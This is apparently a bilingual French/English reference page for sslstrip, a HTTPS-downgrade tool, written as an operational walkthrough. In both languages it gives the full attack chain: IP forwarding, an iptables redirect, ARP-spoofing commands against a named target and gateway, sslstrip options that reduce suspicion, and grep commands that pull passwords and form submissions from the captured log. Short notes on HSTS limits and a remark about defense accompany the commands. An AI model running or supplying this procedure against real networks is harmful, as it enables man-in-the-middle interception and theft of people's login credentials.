sslstrip
Outil d'attaque par downgrade HTTPS. Détourne de manière transparente le trafic HTTP et rétrograde les connexions HTTPS en HTTP, capturant des identifiants envoyés sur des connexions soi-disant 'sécurisées'. HTTPS downgrade attack tool. Transparently hijacks HTTP traffic and downgrades HTTPS connections to HTTP, capturing credentials sent over 'secure' connections.
↗ https://github.com/moxie0/sslstripOverview
sslstrip intercepts HTTP traffic and rewrites HTTPS links to HTTP, preventing the victim’s browser from establishing a secure connection. When the victim clicks what they think is an HTTPS link, sslstrip serves it over HTTP while maintaining an HTTPS connection to the real server — capturing credentials in plaintext.
Requirements
# Requires:
# 1. MITM position (ARP poisoning or DHCP)
# 2. Traffic redirection (iptables)
# 3. IP forwarding enabled
Setup
Step 1: Enable IP forwarding
echo 1 > /proc/sys/net/ipv4/ip_forward
Step 2: Redirect HTTP traffic to sslstrip
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
arpspoof -i eth0 -t 192.168.1.50 192.168.1.1 # target → gateway
arpspoof -i eth0 -t 192.168.1.1 192.168.1.50 # gateway → target
Step 4: Start sslstrip
sslstrip -l 8080
Basic Usage
Listen on port 8080 (default)
sslstrip -l 8080
With logging
sslstrip -l 8080 -w sslstrip.log
Kill mode (redirect all HTTPS to HTTP port)
sslstrip -l 8080 -k
Disable favicon (reduces suspicion of certificate errors)
sslstrip -l 8080 -f
Cleaning Up
Remove iptables rule after attack
iptables -t nat -D PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
Or flush all nat rules
iptables -t nat -F
# Stop arpspoof (Ctrl+C on each terminal)
Disable IP forwarding
echo 0 > /proc/sys/net/ipv4/ip_forward
Analyzing the Log
sslstrip.log contains intercepted traffic
cat sslstrip.log
Find POST data with credentials
grep -i "POST\|password\|passwd\|user" sslstrip.log
Find form submissions
grep -i "Content-Type: application/x-www-form-urlencoded" sslstrip.log
Limitations (Modern Browsers)
sslstrip is largely ineffective against modern targets because:
1. HSTS (HTTP Strict Transport Security):
- Sites declare they must always be accessed via HTTPS
- Browser refuses HTTP connections to HSTS-enabled sites
2. HSTS Preloading:
- List of HSTS sites is baked into browsers
- Can't be bypassed even by clearing cache
3. Chrome/Firefox HTTPS-only mode:
- Modern browsers warn or block HTTP access
Works best against:
- Internal/corporate applications without HSTS
- Old browsers or applications
- Non-browser protocols (custom apps)
Tips
- sslstrip is largely ineffective against modern browsers on public sites
- Most effective against internal corporate apps, custom clients, and IoT devices
- Use mitmproxy or bettercap’s sslstrip module for better modern alternatives
- The attack is still valid conceptually — understanding it is important for defense
Help / Man page
sslstrip [options]
-l PORT Listen port (default: 10000)
-w FILE Log to file
-k Kill (redirect secure connections to HTTP)
-f No favicon (avoid SSL lock icon)
-p POSTing mode (capture only POST data)
-s Send secure cookies back
Vue d’ensemble
sslstrip intercepte le trafic HTTP et réécrit les liens HTTPS en HTTP, empêchant le navigateur de la victime d’établir une connexion sécurisée. Quand la victime clique sur ce qu’elle croit être un lien HTTPS, sslstrip le sert en HTTP tout en maintenant une connexion HTTPS vers le vrai serveur : capturant ainsi les identifiants en clair.
Prérequis
# Nécessite :
# 1. Une position MITM (empoisonnement ARP ou DHCP)
# 2. La redirection du trafic (iptables)
# 3. L'IP forwarding activé
Mise en place
# Étape 1 : activer l'IP forwarding
echo 1 > /proc/sys/net/ipv4/ip_forward
# Étape 2 : rediriger le trafic HTTP vers sslstrip
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
arpspoof -i eth0 -t 192.168.1.50 192.168.1.1 # cible → passerelle
arpspoof -i eth0 -t 192.168.1.1 192.168.1.50 # passerelle → cible
Étape 4 : démarrer sslstrip
sslstrip -l 8080
Utilisation de base
# Écouter sur le port 8080 (par défaut)
sslstrip -l 8080
# Avec journalisation
sslstrip -l 8080 -w sslstrip.log
# Mode kill (redirige tout le HTTPS vers le port HTTP)
sslstrip -l 8080 -k
# Désactiver le favicon (réduit les soupçons d'erreur de certificat)
sslstrip -l 8080 -f
Nettoyage
# Retirer la règle iptables après l'attaque
iptables -t nat -D PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
# Ou vider toutes les règles nat
iptables -t nat -F
# Arrêter arpspoof (Ctrl+C sur chaque terminal)
Désactiver l’IP forwarding
echo 0 > /proc/sys/net/ipv4/ip_forward
Analyse des logs
sslstrip.log contient le trafic intercepté
cat sslstrip.log
# Trouver les données POST avec identifiants
grep -i "POST\|password\|passwd\|user" sslstrip.log
# Trouver les soumissions de formulaires
grep -i "Content-Type: application/x-www-form-urlencoded" sslstrip.log
Limitations (navigateurs modernes)
sslstrip est largement inefficace contre les cibles modernes car :
1. HSTS (HTTP Strict Transport Security) :
- Les sites déclarent qu'ils doivent toujours être accédés en HTTPS
- Le navigateur refuse les connexions HTTP vers les sites HSTS
2. Préchargement HSTS :
- La liste des sites HSTS est intégrée dans les navigateurs
- Ne peut pas être contournée même en vidant le cache
3. Mode HTTPS-only de Chrome/Firefox :
- Les navigateurs modernes avertissent ou bloquent l'accès HTTP
Fonctionne le mieux contre :
- Les applications internes/corporate sans HSTS
- Les anciens navigateurs ou applications
- Les protocoles non-navigateur (applications custom)
Conseils
- sslstrip est largement inefficace contre les navigateurs modernes sur des sites publics
- Plus efficace contre les applications corporate internes, les clients custom et les appareils IoT
- Utiliser mitmproxy ou le module sslstrip de bettercap pour de meilleures alternatives modernes
- L’attaque reste valide conceptuellement : la comprendre est important pour la défense
Aide / Page de manuel
sslstrip [options]
-l PORT Listen port (default: 10000)
-w FILE Log to file
-k Kill (redirect secure connections to HTTP)
-f No favicon (avoid SSL lock icon)
-p POSTing mode (capture only POST data)
-s Send secure cookies back